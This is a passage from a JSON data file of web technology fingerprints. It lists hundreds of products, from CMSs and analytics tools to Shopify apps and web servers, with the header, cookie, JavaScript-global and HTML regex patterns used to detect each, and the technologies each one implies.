Gallery":{"js":["rlargs.activegalleries","rl_hide_image","rl_view_image"]},"Pixieset Website":{"meta":{"generator":["^pixieset$"]}},"Unruly":{"js":["unruly.native"]},"mod_wsgi":{"headers":{"server":"mod_wsgi(?:/([\\d.]+))?\\;version:\\1","x-powered-by":"mod_wsgi(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python\\;confidence:50","Apache"]},"Totango":{"js":["totango","totangoloader"]},"Sizmek":{"html":["(?:\u003ca [^\u003e]*href=\"[^/]*//[^/]*serving-sys\\.com/|\u003cimg [^\u003e]*src=\"[^/]*//[^/]*serving-sys\\.com/)"]},"Frosmo":{"js":["_frosmo","frosmo"]},"Yelp Review Badge":{},"Yampi Virtual store":{"js":["yampi.api_domain","yampi.cart_token"],"implies":["Yampi Checkout"]},"Fenicio":{"js":["_fn.validadortelefono","fnwishlist.cargarinfoarticulos","fnecommerce.micompravisto"]},"SpotHopper":{"js":["spothopper"]},"ShopGold":{"cookies":{"egold":"^\\w+$","popup_shopgold":"","popup_shopgold_time":""}},"SpurIT":{"js":["spurit.global.version"],"implies":["Shopify"]},"Sotel":{"meta":{"generator":["sotel"]}},"FastComet":{},"Cross Sell":{"implies":["Shopify","Cart Functionality"]},"Python":{"headers":{"server":"(?:^|\\s)python(?:/([\\d.]+))?\\;version:\\1"}},"Royal Mail":{},"styled-components":{"js":["styled"],"implies":["React"]},"Histats":{"js":["histats.ver"]},"Cloudimage":{"js":["ciresponsive.config.domain"]},"Sovrn//Commerce":{"js":["vglnk","vl_cb","vl_disable"]},"mobicred":{},"Bitcoin":{},"Shopify Product Reviews":{"js":["spr"],"implies":["Shopify"]},"Mojolicious":{"headers":{"x-powered-by":"mojolicious","server":"^mojolicious"},"implies":["Perl"]},"Kentico CMS":{"cookies":{"cmspreferredculture":""},"js":["cms.application"],"meta":{"generator":["kentico cms ([\\d.r]+ \\(build [\\d.]+\\))\\;version:\\1"]}},"a-blog cms":{"meta":{"generator":["a-blog cms"]},"implies":["PHP"]},"IrisLMS":{},"KobiMaster":{"js":["kmgetsession","kmpageinfo"],"implies":["Microsoft ASP.NET"]},"Solusquare OmniCommerce Cloud":{"cookies":{"_solusquare":""},"meta":{"generator":["^solusquare$"]},"implies":["Adobe ColdFusion"]},"Recent Posts Widget With Thumbnails":{},"Oct8ne":{"js":["oct8ne.agentsavailable","oct8neapi","oct8nevars.pluginversion"]},"FlexCMP":{"headers":{"x-flex-lang":"","x-powered-by":"flexcmp.+\\[v\\. ([\\d.]+)\\;version:\\1"},"html":["\u003c!--[^\u003e]+flexcmp[^\u003ev]+v\\. ([\\d.]+)\\;version:\\1"],"meta":{"generator":["^flexcmp"]}},"Tengine":{"headers":{"server":"tengine"}},"CleverTap":{"js":["clevertap"]},"Pars Elecom Portal":{"headers":{"x-powered-by":"pars elecom portal"},"meta":{"copyright":["pars elecom portal"]},"implies":["Microsoft ASP.NET","IIS","Windows Server"]},"CreateJS":{},"Ad Lightning":{},"Huberway Analytics":{},"Mixin":{"meta":{"mixin_hash_id":[]}},"Solodev":{"headers":{"solodev_session":""},"html":["\u003cdiv class=[\"']dynamicdiv[\"'] id=[\"']dd\\.\\d\\.\\d(?:\\.\\d)?[\"']\u003e"],"implies":["PHP"]},"GeneratePress":{},"Tippy.js":{"js":["tippy.defaultprops"]},"ThemeGrill Accelerate":{},"Axios":{"js":["axios.get"]},"Resmio":{"js":["resmiobutton"]},"Naver Analytics":{"meta":{"naver-site-verification":[]}},"Interact":{"js":["interactpromotionobject","interactapp.name"]},"Advanced Custom Fields":{"js":["acf","acfl10n"]},"WEN Themes Education Hub":{"js":["educationhubscreenreadertext"]},"Kemal":{"headers":{"x-powered-by":"kemal"}},"AntV G6":{"js":["g6.graph","g6.version"]},"Droz Bot":{},"Pixc":{},"The Hotels Network":{"js":["thn.data.version"],"headers":{"content-security-policy-report-only":"\\.thehotelsnetwork\\.com","content-security-policy":"\\.thehotelsnetwork\\.com"}},"Schedule Engine":{},"Acquire Live Chat":{"js":["_acquire_init_config","acquire"]},"Clinch":{},"District M":{},"Pagely":{"headers":{"server":"^pagely"},"implies":["WordPress","Amazon Web Services"]},"Cecil":{"meta":{"generator":["^cecil(?: ([0-9.]+))?$\\;version:\\1"]}},"Shoporama":{"meta":{"generator":["shoporama"]}},"Cherokee":{"headers":{"server":"^cherokee(?:/([\\d.]+))?\\;version:\\1"}},"ELOG HTTP":{"headers":{"server":"elog http ?([\\d.-]+)?\\;version:\\1"},"implies":["ELOG"]},"Twitter Analytics":{},"PayKickStart":{},"Survicate":{"js":["survicate"],"headers":{"content-security-policy":"api\\.survicate\\.com"}},"Pixlee TurnTo":{"js":["pixlee","pixlee_analytics","turnto","turntoconfig"]},"Spotify Web API":{"js":["spotifyme","getspotifydata","spotify_tracks"]},"Ali Reviews":{"js":["alireviews_tags"]},"Sarka-SPIP":{"meta":{"generator":["sarka-spip(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["SPIP"]},"Acquia Cloud Classic":{"headers":{"x-ah-environment":"prod"},"implies":["Acquia Cloud Platform","Amazon EC2","Percona","Red Hat Gluster"]},"Keen Delivery":{},"Selly":{},"TablePress":{},"Microsoft Clarity":{"js":["clarity"]},"Custom Fonts":{},"Zakeke":{"js":["zakekeboot","zakekecustomizelabel","zakekeloading","zakekeproductpage"]},"Essential JS 2":{"html":["\u003c[^\u003e]+ class ?= ?\"(?:e-control|[^\"]+ e-control)(?: )[^\"]* e-lib\\b"]},"WebsiteBaker":{"meta":{"generator":["websitebaker"]},"implies":["PHP","MySQL"]},"imperia CMS":{"html":["\u003cimp:live-info sysid=\"[0-9a-f-]+\"(?: node_id=\"[0-9/]*\")? *\\/\u003e"],"meta":{"generator":["^imperia ([0-9.]{2,3})\\;version:\\1"],"x-imperia-live-info":[]},"implies":["Perl"]},"Carbon Ads":{"js":["_carbonads","_carbonads_go"]},"DHTMLX":{},"plentymarkets":{"headers":{"x-plenty-shop":""},"meta":{"generator":["plentymarkets"]}},"Raptor":{"js":["raptor","onraptorloaded","raptorbase64"]},"ExtendThemes Materialis":{"js":["materialistheme","materialissetheadertopspacing","materialis_theme_pro_settings"]},"Miestro":{"meta":{"base_url":[".+\\.miestro\\.com"]}},"CartStack":{"js":["_cartstack"]},"Tagboard":{},"Wordfence":{"js":["wordfenceajaxwatcher"]},"Shortcodes Ultimate":{},"WebHostUK":{},"Resin":{"headers":{"server":"^resin(?:/(\\s*))?\\;version:\\1"},"implies":["Java"]},"Tripadviser.Widget":{},"Twitter Ads":{"js":["twttr"]},"Marfeel":{"js":["marfeel"]},"Melis Platform":{"html":["\u003c!-- rendered with melis cms v2","\u003c!-- rendered with melis platform"],"meta":{"generator":["^melis platform\\."],"powered-by":["^melis cms\\."]},"implies":["Apache","PHP","MySQL","Symfony","Laravel","Zend"]},"PushOwl":{},"WiziShop":{"js":["wiziblock_array","wiziblocks_list","wscfg.bnavajust"],"headers":{"server":"^wiziserver$"}},"Bonfire":{"cookies":{"bf_session":""},"html":["powered by \u003ca[^\u003e]+href=\"https?://(?:www\\.)?cibonfire\\.com[^\u003e]*\u003ebonfire v([^\u003c]+)\\;version:\\1"],"implies":["CodeIgniter"]},"WPForms":{"js":["wpforms","wpforms_settings"]},"SeamlessCMS":{"meta":{"generator":["^seamless\\.?cms"]}},"Cargo":{"js":["cargo.config","__cargo_js_ver__"],"meta":{"cargo_title":[]},"implies":["PHP"]},"MUI":{"css":["\\.MuiPaper-root"],"implies":["React"]},"Formitable":{},"Alli":{},"Accentuate Custom Fields":{},"Growave":{},"Jetpack":{},"Amazon Aurora":{"implies":["Amazon Web Services"]},"Booxi":{"js":["booxi","booxicontroller","bxe_core"]},"Simple Analytics":{"js":["sa_event"]},"INFOnline":{"js":["szmvars","iam_data"]},"Autoketing Product Reviews":{"js":["autoketingproduct_reivew"],"implies":["Shopify","Autoketing"]},"aThemes Sydney":{},"AdInfinity":{},"Avada SEO":{},"Resy":{"js":["resywidget"]},"LiveRamp DPM":{"js":["dpmcomscorevars"]},"GX WebManager":{"html":["\u003c!--\\s+powered by gx"],"meta":{"generator":["gx webmanager(?: ([\\d.]+))?\\;version:\\1"]}},"Muuri":{"js":["muuri"]},"Twitter Flight":{"js":["flight"],"implies":["jQuery"]},"CartKit":{},"PubGuru":{"js":["pg.version"]},"YaBB":{"html":["powered by \u003ca href=\"[^\u003e]+yabbforum"]},"GlassFish":{"headers":{"server":"glassfish(?: server)?(?: open source edition)?(?: ?/?([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"SyntaxHighlighter":{"js":["syntaxhighlighter"],"html":["\u003c(?:script|link)[^\u003e]*sh(?:core|brush|themedefault)"]},"GoCertify":{"cookies":{"_gocertify_session":""}},"DoubleVerify":{},"Freshchat":{"js":["freshbots"]},"Fresh":{"implies":["Deno","Preact"]},"Acquire Cobrowse":{"js":["acquirecobrowsertc","acquirecobrowsesettings","acquireconfignodeserver"]},"Afosto":{"headers":{"x-powered-by":"afosto saas bv"}},"OnUniverse":{},"Pligg":{"js":["pligg_"],"html":["\u003cspan[^\u003e]+id=\"xvotes-0"],"meta":{"generator":["pligg"]}},"Liquid Web":{"headers":{"x-lw-cache":""}},"Podium":{"js":["podiumwebchat","podiumwebsitewidgetloaded"]},"MyCashFlow":{"headers":{"x-mcf-id":""}},"ZURB Foundation":{"js":["foundation.version"],"html":["\u003clink[^\u003e]+foundation[^\u003e\"]+css","\u003cdiv [^\u003e]*class=\"[^\"]*(?:small|medium|large)-\\d{1,2} columns"]},"Feefo":{"js":["feefotracker","feefowidget"]},"GoDaddy CoBlocks":{},"Tritac Katana Commerce":{"meta":{"powered-by":["^katana\\scommerce$"]}},"lit-element":{"js":["litelementversions.0"]},"Smartstore biz":{},"CFML":{},"OptinMonster":{"js":["optinmonsterapp"]},"React Redux":{"implies":["React","Redux"]},"Flits":{"js":["flitsobjects.accountpage"],"implies":["Shopify"]},"MailChimp":{"html":["\u003cform [^\u003e]*data-mailchimp-url","\u003cform [^\u003e]*id=\"mc-embedded-subscribe-form\"","\u003cform [^\u003e]*name=\"mc-embedded-subscribe-form\"","\u003cinput [^\u003e]*id=\"mc-email\"\\;confidence:20","\u003c!-- begin mailchimp signup form --\u003e"]},"Printful":{"implies":["Cart Functionality"]},"Easylog":{},"Paddle":{"js":["paddle.checkout","paddlescriptlocation"]},"Adobe Client Data Layer":{"js":["adobedatalayer.version"]},"Jimdo":{"js":["jimdodolphindata"],"headers":{"x-jimdo-instance":"","x-jimdo-wid":""}},"cPanel":{"cookies":{"cprelogin":"","cpsession":""},"headers":{"server":"cpsrvd/([\\d.]+)\\;version:\\1"},"html":["\u003c!-- cpanel"]},"IONOS":{},"Gutenberg":{},"GloriaFood":{"js":["glfbindbuttons","glfwidget"]},"PayPal Credit":{"js":["paypaloffersobject","paypalcreditpopover"],"implies":["PayPal"]},"TikTok Pixel":{"js":["tiktokanalyticsobject"]},"Chorus":{"cookies":{"_chorus_geoip_continent":"","chorus_preferences":""},"js":["choruscampaigns.recordclickurl","chorus.addscript","chorusads.beforeadsrequested"]},"Quantcast Choice":{},"Scientific Linux":{"headers":{"x-powered-by":"scientific linux","server":"scientific linux"}},"Gitea":{"cookies":{"i_like_gitea":""},"html":["\u003cdiv class=\"ui left\"\u003e\\n\\s+© gitea version: ([\\d.]+)\\;version:\\1"],"meta":{"keywords":["^go,git,self-hosted,gitea$"]},"implies":["Go"]},"CyberChimps Responsive":{},"MetaSlider":{},"The SEO Framework":{"html":["\u003c!--[^\u003e]+the seo framework by sybre waaijer"]},"Plaza":{},"AndersNoren Lovecraft":{},"AntV G2":{"js":["g2.chart","g2.version"]},"Verifone 2Checkout":{},"JANet":{},"Postpay":{"js":["postpayjsconfig","postpay","wc_postpay_init_params"]},"Banshee":{"headers":{"x-powered-by":"banshee php framework v([\\d\\.]+)\\;version:\\1"},"meta":{"generator":["banshee php"]},"implies":["PHP"]},"Sky-Shop":{"js":["l.continue_shopping"],"meta":{"generator":["sky-shop"]},"implies":["PHP","Bootstrap","jQuery"]},"Kubernetes Dashboard":{"html":["\u003chtml ng-app=\"kubernetesdashboard\"\u003e"]},"Site Search 360":{"js":["ss360config"]},"Flow":{"js":["flow.cart","flow.countrypicker","flow_cart_localize"]},"Sorted Return":{"js":["clicksit_window_on_load"]},"Vntana":{},"Fabric":{"meta":{"powered-by":["fabricinc"]}},"TableCheck":{},"hantana":{"js":["hantana"]},"Loop54":{"cookies":{"loop54user":""},"js":["loop54.config.libversion"]},"Mura CMS":{"meta":{"generator":["mura cms ([\\d]+)\\;version:\\1"]},"implies":["Adobe ColdFusion"]},"CoverManager":{},"Google Web Toolkit":{"js":["__gwt_","__gwt_activemodules","__gwt_getmetaproperty","__gwt_isknownpropertyvalue","__gwt_stylesloaded","__gwtlistener"],"meta":{"gwt:property":[]},"implies":["Java"]},"Worldz":{},"NagaCommerce":{"meta":{"generator":["^nagacommerce$"]}},"YouTube":{"html":["\u003c(?:param|embed|iframe)[^\u003e]+youtube(?:-nocookie)?\\.com/(?:v|embed)"]},"Newspack by Automattic":{"headers":{"host-header":"newspack"},"implies":["Newspack"]},"Linx Commerce":{"js":["ezgacfg.config.store","ezgacfg.shopper","linximpulse.config.integrationflags.platformprovider"]},"Haskell":{},"Zoho PageSense":{"js":["pagesense","$pagesense"],"implies":["Zoho"]},"JsViews":{"implies":["JsObservable","JsRender"]},"SnapWidget":{},"LaunchDarkly":{"js":["ddc.ws.state","launchdarkly"]},"Inertia":{"headers":{"x-inertia":""}},"Flowplayer":{"js":["flowplayer","flowplayer.version"]},"Shogun":{"js":["shogunanalytics"]},"Bigware":{"cookies":{"bigwadminid":"","bigwarecsid":""},"html":["(?:diese \u003ca href=[^\u003e]+bigware\\.de|\u003ca href=[^\u003e]+/main_bigware_\\d+\\.php)"],"implies":["PHP"]},"ipstack":{"js":["env.ipstackaccesstoken"]},"Popup Maker":{"js":["pum_popups"]},"LayBuy":{"js":["laybuyhelper","checkout.enabledpayments.laybuy","laybuyenablecart","laybuymoneyoverides","wc_ga_pro.available_gateways.laybuy"]},"Google Workspace":{},"GitHub Pages":{"headers":{"server":"^github\\.com$","x-github-request-id":""}},"Global-e":{"cookies":{"globale_data":"","globale_supportthirdpartcookies":"","globale_ct_data":""},"js":["globale_engine_config","globale"]},"Shanon":{},"Bootstrap Icons":{},"Astro":{},"LocomotiveCMS":{"html":["\u003clink[^\u003e]*/sites/[a-z\\d]{24}/theme/stylesheets"],"implies":["Ruby on Rails","MongoDB"]},"SpeedCurve":{"js":["lux.version","lux_t_end","lux_t_start"]},"Taboola":{"js":["_taboola","_taboolanetworkmode","taboola_view_id"]},"ESW":{"js":["eshopworld","eswretailerdisplayconfiguration"]},"Beam AfterSell":{"js":["aftersell.hooks"],"implies":["Shopify"]},"GetMeAShop":{"js":["gmas_base_url","search_api_base_uri"]},"Angular":{"js":["ng.coretokens","ng.probe"],"implies":["TypeScript"]},"Captch Me":{"js":["captchme"]},"Theme Vision Agama":{"js":["agama","agama_pro"]},"SiteManager":{"js":["sm_cookiesmodal","sm_modal"]},"emBlue":{"js":["emblueonsiteapp"]},"Lucene":{"implies":["Java"]},"Statically":{"headers":{"server":"^statically$"},"html":["\u003clink [^\u003e]*?href=\"?[a-z]*?:?//cdn\\.statically\\.io/"]},"Resengo":{"js":["wpjsonpresengoreservationwidget"]},"Cxense":{"meta":{"cxenseparse:publishtime":[],"cxenseparse:url":[],"cxenseparse:itm-meta-keywords":[],"cxenseparse:pageclass":[]}},"HulkApps Product Reviews":{"js":["hulkappsproductreview","hulkappsreviews"],"implies":["Shopify"]},"FalguniThemes Nisarg":{"js":["nisargpro_script_vars"]},"Yahoo Advertising":{"js":["adxinserthtml","yahoocvload","yahoo_retargeting_pv_id","yahoo_ydn_conv_label","yahoo_ydn_conv_transaction_id"]},"Moat":{},"PlatformOS":{"headers":{"x-powered-by":"^platformos$"}},"Simplio Upsells":{"implies":["Shopify"]},"Pingoteam":{"meta":{"designer":["pingoteam"]},"implies":["PHP"]},"Apigee":{"html":["\u003cscript\u003e[^\u003e]{0,50}script src=[^\u003e]/profiles/apigee"]},"Hostiq":{},"Hostmeapp":{},"Speedimize":{},"SweetAlert":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+sweet-alert(?:\\.min)?\\.css"]},"Quick.CMS":{"html":["\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003ecms by"],"meta":{"generator":["quick\\.cms(?: v([\\d.]+))?\\;version:\\1"]}},"CTT":{},"Octane AI":{"js":["octaneconfig"]},"Abicart":{"meta":{"generator":["abicart","textalk webshop"]}},"EraofEcom Cartroids":{"js":["cartroids.appbase"],"implies":["Shopify"]},"Livefyre":{"js":["fyreloader","l.version","lf.commentcount","fyre"],"html":["\u003c[^\u003e]+(?:id|class)=\"livefyre"]},"LEPTON":{"meta":{"generator":["lepton"]},"implies":["PHP"]},"Prismic":{},"JavaServer Pages":{"headers":{"x-powered-by":"jsp(?:/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Legal Monster":{"js":["legal.__version__"]},"Duel":{"cookies":{"_duelcsrf":""},"js":["duel.apiurl"],"implies":["Node.js","Angular","MongoDB"]},"Redis":{},"Jitsi":{},"Timify":{"js":["timifywidget"]},"AdonisJS":{"cookies":{"adonis-session":"","adonis-session-values":""},"implies":["Node.js"]},"HHVM":{"headers":{"x-powered-by":"hhvm/?([\\d.]+)?\\;version:\\1"},"implies":["PHP\\;confidence:75"]},"Vue.ai":{"js":["getvueurlsegments","vuex"]},"AT Internet Analyzer":{"js":["atinternet","xtsite"]},"Symfony":{"cookies":{"sf_redirect":""},"js":["sfjs"],"implies":["PHP"]},"Checkout.com":{},"Quanta":{"cookies":{"_qta_rum":""},"js":["quanta.app_id","quantatagrumspeedindex"]},"Semplice":{"js":["semplice.template_dir"]},"Fork CMS":{"meta":{"generator":["^fork cms$"]},"implies":["Symfony"]},"Popper":{"js":["createpopper","popper.defaults","popper.applystyles"]},"Grav":{"meta":{"generator":["gravcms(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"UserReport":{},"Sematext Experience":{},"Tiendanube":{"js":["ls.store.url"]},"Varbase":{"js":["drupalsettings.ajaxpagestate.libraries"],"implies":["Drupal"]},"Ubuntu":{"headers":{"server":"ubuntu","x-powered-by":"ubuntu"}},"YNAP Ecommerce":{"js":["ytos","ycookieapiurl"]},"Facebook Login":{"js":["fb.getloginstatus"]},"Wistia":{"js":["wistia","wistiaembeds","wistiautils"]},"Acquia Campaign Factory":{"implies":["Mautic"]},"FameThemes OnePress":{"js":["onepress_plus","onepressismobile","onepress_js_settings"]},"Atlassian Jira":{"js":["jira.id"],"meta":{"data-version":["([\\d.]+)\\;version:\\1\\;confidence:0"],"application-name":["jira"]},"implies":["Java"]},"Payflex":{},"Neat A/B testing":{"implies":["Shopify"]},"Contentstack":{},"REDAXO":{"js":["redaxo"],"implies":["PHP"]},"EraofEcom WinAds":{"js":["win_ads.baseurl"],"implies":["Shopify"]},"Bold Subscriptions":{"js":["bold.subscriptions"],"implies":["Shopify","Bold Commerce"]},"FintechOS":{"js":["ftoschat","ftos.core.getb2cculture"],"meta":{"ftos-app-version":["\\sv([\\d\\.]+)\\s\\;version:\\1"]}},"Weebly":{"js":["_w.configdomain"],"implies":["PHP","MySQL"]},"Hoefler\u0026Co":{},"Mapp":{"js":["wt_ttv2","webtrekkv3","webtrekk","webtrekkheatmapobjects","webtrekklinktrackobjects","wt_tt","webtrekkconfig","webtrekkunloadobjects","webtrekkv3","wtsmart"]},"Recart":{"js":["__recart","recart"]},"Salsify":{},"Q4":{"js":["q4app.a11yannouncement","q4defaults.fancysignup"]},"libwww-perl-daemon":{"headers":{"server":"libwww-perl-daemon(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Perl"]},"Cookie Information":{"js":["cookieinformation.config.cdnurl"]},"Envoy":{"headers":{"server":"^envoy$","x-envoy-upstream-service-time":""}},"Lede":{"js":["ledechartbeatviews","ledeengagement","ledeengagementreset"],"html":["\u003ca [^\u003e]*href=\"[^\"]+joinlede.com"],"meta":{"og:image":["https?\\:\\/\\/lede-admin"]},"implies":["WordPress","WordPress VIP"]},"XMB":{"html":["\u003c!-- powered by xmb"]},"Amazon EFS":{"implies":["Amazon Web Services"]},"TripleLift":{},"Aruba.it":{"headers":{"x-servername":"\\.aruba\\.it"}},"Salonist":{},"Karma":{"js":["karma.vars.version"],"implies":["Node.js"]},"Colibri WP":{"js":["colibri","colibridata","colibrifrontenddata"]},"Recharge":{"js":["rechargewidget"],"implies":["Cart Functionality"]},"Affirm":{"js":["_affirm_config","affirm.rollbar"]},"Sellsy":{"js":["sellsysnippet"]},"Reevoo":{"js":["reevooaccesscode","reevooloader.tracking","reevoourl","reevooapi"]},"Griddo":{"meta":{"generator":["^griddo$"]},"implies":["React","Gatsby"]},"Creativ.eMail":{},"Buyapowa":{"js":["buyapowa.canarycheck"]},"Bazaarvoice Curation":{},"Trustspot":{"js":["trustspot_key"]},"Lodash":{"js":["_.version","_.differenceby","_.templatesettings.imports._.templatesettings.imports._.version"]},"Webzie":{"meta":{"generator":["^webzie\\.com\\swebsite\\sbuilder$"]}},"Blue Triangle":{"js":["_bttutil.version"]},"Tapcart":{"js":["tapcartwebbanner"]},"VTEX":{"cookies":{"vtexfingerprint":"","vtexstoreversion":"","vtexworkspace":"","vtex_session":""},"js":["vtex"],"headers":{"powered":"vtex","server":"^vtex io$"}},"GoDaddy Primer":{},"ThemezHut HitMag":{},"Ethers":{"js":["_ethers"]},"Megagroup CMS.S3":{"js":["megacounter_key"]},"Fact Finder":{"html":["\u003c!-- factfinder"]},"Google Analytics":{"cookies":{"_ga":"","_gat":"","__utma":""},"js":["googleanalyticsobject","gaglobal"],"html":["\u003camp-analytics [^\u003e]*type=[\"']googleanalytics[\"']"]},"DTScout":{},"Metomic":{},"hCaptcha":{"js":["hcaptcha.getrespkey","hcaptchaonload"],"headers":{"content-security-policy":"(?:\\.|//)hcaptcha\\.com"},"css":["#cf-hcaptcha-container"]},"Foswiki":{"cookies":{"foswikistrikeone":"","sfoswikisid":""},"js":["foswiki"],"headers":{"x-foswikiuri":"","x-foswikiaction":""},"html":["\u003cdiv class=\"foswiki(?:copyright|page|main)\"\u003e"],"meta":{"foswiki.servertime":[],"foswiki.wikiname":[]},"implies":["Perl"]},"Spryker":{"js":["spryker.config"],"meta":{"generator":["spryker"]}},"ValueCommerce":{},"Wagtail":{"implies":["Django","Python"]},"Synology DiskStation":{"html":["\u003cnoscript\u003e\u003cdiv class='syno-no-script'"],"meta":{"description":["^diskstation provides a full-featured network attached storage"],"application-name":["synology diskstation"]}},"Slider Revolution":{"js":["rs_modules.main.version","revapi1","revapi2","revapi3","revapi4","revapi5","revslider_showdoublejqueryerror"]},"Shoper":{"js":["shoper"]},"Affilo":{},"Squarespace":{"js":["squarespace","static.squarespace_context.templateversion"],"headers":{"server":"squarespace"}},"Pingdom":{},"ZingChart":{"js":["zingchart"]},"PagSeguro":{"js":["pagsegurodirectpayment","_pagsegurodirectpayment"]},"VentraIP":{},"Raphael":{"js":["raphael.version"]},"SiteJabber":{},"SlickStack":{"headers":{"x-powered-by":"slickstack"},"implies":["WordPress"]},"Admixer":{"js":["admixerads","admixerml"]},"Minero.cc":{},"Tictail":{"html":["\u003clink[^\u003e]*tictail\\.com"]},"Envo eCommerce":{},"Absorb":{"cookies":{"_absorb_ui_session":""},"js":["absorblms"]},"OnShop":{"meta":{"generator":["onshop ecommerce"]},"implies":["PHP"]},"Zoho Mail":{"implies":["Zoho"]},"wpCache":{"headers":{"x-powered-by":"wpcache(?:/([\\d.]+))?\\;version:\\1"},"html":["\u003c!--[^\u003e]+wpcache"],"meta":{"keywords":["wpcache"],"generator":["wpcache"]},"implies":["PHP"]},"Geniee":{},"wpBakery":{"meta":{"generator":["wpbakery"]},"implies":["PHP"]},"Poloriz":{},"Mediavine":{"cookies":{"mediavine_session":""},"js":["$mediavine.web"]},"CoinHive":{"js":["coinhive"]},"sNews":{"meta":{"generator":["snews"]}},"StoryStream":{},"DataLife Engine":{"js":["dle_root"],"meta":{"generator":["datalife engine"]},"implies":["PHP","Apache"]},"Wair":{"js":["predictv3.default.version","predictwidget"]},"Phabricator":{"cookies":{"phsid":""},"html":["\u003c[^\u003e]+(?:class|id)=\"phabricator-"],"implies":["PHP"]},"Tilda":{"html":["\u003clink[^\u003e]* href=[^\u003e]+tilda(?:cdn|\\.ws|-blocks)"]},"Mapplic":{},"Commerce Server":{"headers":{"commerce-server-software":""},"implies":["Microsoft ASP.NET"]},"ArvanCloud":{"js":["arvancloud"],"headers":{"server":"arvancloud"}},"ApplicantStack":{},"RainLoop":{"js":["rainloop","rainloopi18n"],"headers":{"server":"^rainloop"},"html":["\u003clink[^\u003e]href=\"rainloop/v/([0-9.]+)/static/apple-touch-icon\\.png/\u003e\\;version:\\1"],"meta":{"rlappversion":["^([0-9.]+)$\\;version:\\1"]},"implies":["PHP"]},"EPiServer":{"cookies":{"epitrace":"","episerver":""},"meta":{"generator":["episerver"]},"implies":["Microsoft ASP.NET"]},"aThemes Airi":{},"ThriveCart":{"js":["thrivecart"]},"Instafeed":{},"mod_rails":{"headers":{"server":"mod_rails(?:/([\\d.]+))?\\;version:\\1","x-powered-by":"mod_rails(?:/([\\d.]+))?\\;version:\\1"},"implies":["Ruby on Rails\\;confidence:50","Apache"]},"GOV.UK Frontend":{"js":["govukfrontend"],"html":["\u003clink[^\u003e]* href=[^\u003e]*?govuk-frontend(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e]*?(?:\\.min)?\\.css\\;version:\\1","\u003cbody[^\u003e]+govuk-template__body\\;confidence:80","\u003ca[^\u003e]+govuk-link\\;confidence:10"]},"Autoptimize":{},"Sulu":{"headers":{"x-generator":"sulu/?(.+)?$\\;version:\\1"},"implies":["Symfony"]},"inSided":{"js":["insideddata","insided"]},"Pressable":{"headers":{"host-header":"^pressable"},"implies":["WordPress"]},"WysiBB":{"implies":["jQuery"]},"Bpost":{},"Shortly":{"implies":["Shopify"]},"HCL Commerce":{"implies":["Java"]},"Apache Traffic Server":{"headers":{"server":"ats/?([\\d.]+)?\\;version:\\1"}},"Ueeshop":{"js":["ueeshop_config"]},"Chinese Menu Online":{},"Statcounter":{"js":["_statcounter","sc_project","sc_security"]},"Limepay":{"js":["limepayidentity","wc_ga_pro.available_gateways.limepay"]},"HikeOrders":{},"Spotify Widgets":{},"Fortune3":{"html":["(?:\u003clink [^\u003e]*href=\"[^\\/]*\\/\\/www\\.fortune3\\.com\\/[^\"]*siterate\\/rate\\.css|powered by \u003ca [^\u003e]*href=\"[^\"]+fortune3\\.com)"]},"Prefix-Free":{"js":["prefixfree"]},"ipgeolocation":{},"Understrap":{"implies":["Bootstrap","Underscore.js"]},"Gumroad":{"js":["gumroadoverlay","creategumroadoverlay"]},"osTicket":{"cookies":{"ostsessid":""},"implies":["PHP","MySQL"]},"SpurIT Partial Payments App":{"implies":["Shopify"]},"ContentStudio":{},"Olapic":{"js":["olapic","olapic.version"]},"ABOUT YOU Commerce Suite":{},"Kestrel":{"headers":{"server":"^kestrel"},"implies":["Microsoft ASP.NET"]},"commercelayer":{},"Tealium AudienceStream":{},"Themeansar Newsberg":{},"Optimise":{"js":["omid"]},"Niagahoster":{"headers":{"x-powered-by":"niagahoster"},"implies":["Niagahoster"]},"Kinsta":{"headers":{"x-kinsta-cache":""},"implies":["WordPress"]},"WP Job Openings":{"js":["awsmjobs"]},"JAlbum":{"meta":{"generator":["jalbum( [\\d.]+)?\\;version:\\1"]},"implies":["Java"]},"Budbee":{},"GOV.UK Template":{"js":["govuk"],"html":["\u003clink[^\u003e]+govuk-template[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-print[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie6[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie7[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie8[^\u003e\"]+css"]},"TrafficStars":{},"Huberway":{"cookies":{"huberway_session":""},"implies":["PHP","MySQL"]},"Braze":{"js":["appboy","appboyqueue"]},"MyBB":{"cookies":{"mybb[lastactive]":"","mybb[lastvisit]":""},"js":["mybb","mybbeditor"],"implies":["PHP","MySQL"]},"My Food Link":{"js":["myfoodlink","myfoodlink"]},"Envo Shop":{},"Sitecore":{"cookies":{"sc_analytics_global_cookie":"","sc_os_sessionid":"","sc_expview":""},"html":["\u003cimg[^\u003e]+src=\"[^\u003e]*/~/media/[^\u003e]+\\.ashx"]},"WebSite X5":{"meta":{"generator":["incomedia website x5 (\\w+ [\\d.]+)\\;version:\\1"]}},"TRISOshop":{},"Tapad":{},"a3 Lazy Load":{"js":["a3_lazyload_extend_params","a3_lazyload_params"]},"Bugzilla":{"cookies":{"bugzilla_login_request_cookie":""},"js":["bugzilla"],"html":["href=\"enter_bug\\.cgi\"\u003e","\u003cmain id=\"bugzilla-body\"","\u003ca href=\"https?://www\\.bugzilla\\.org/docs/([0-9.]+)/[^\u003e]+\u003ehelp\u003c\\;version:\\1","\u003cspan id=\"information\" class=\"header_addl_info\"\u003eversion ([\\d.]+)\u003c\\;version:\\1"],"meta":{"generator":["bugzilla ?([\\d.]+)?\\;version:\\1"]},"implies":["Perl"]},"Beeswax":{},"Alexa Certified Site Metrics":{"js":["_atrk_opts.domain"]},"mod_rack":{"headers":{"server":"mod_rack(?:/([\\d.]+))?\\;version:\\1","x-powered-by":"mod_rack(?:/([\\d.]+))?\\;version:\\1"},"implies":["Ruby on 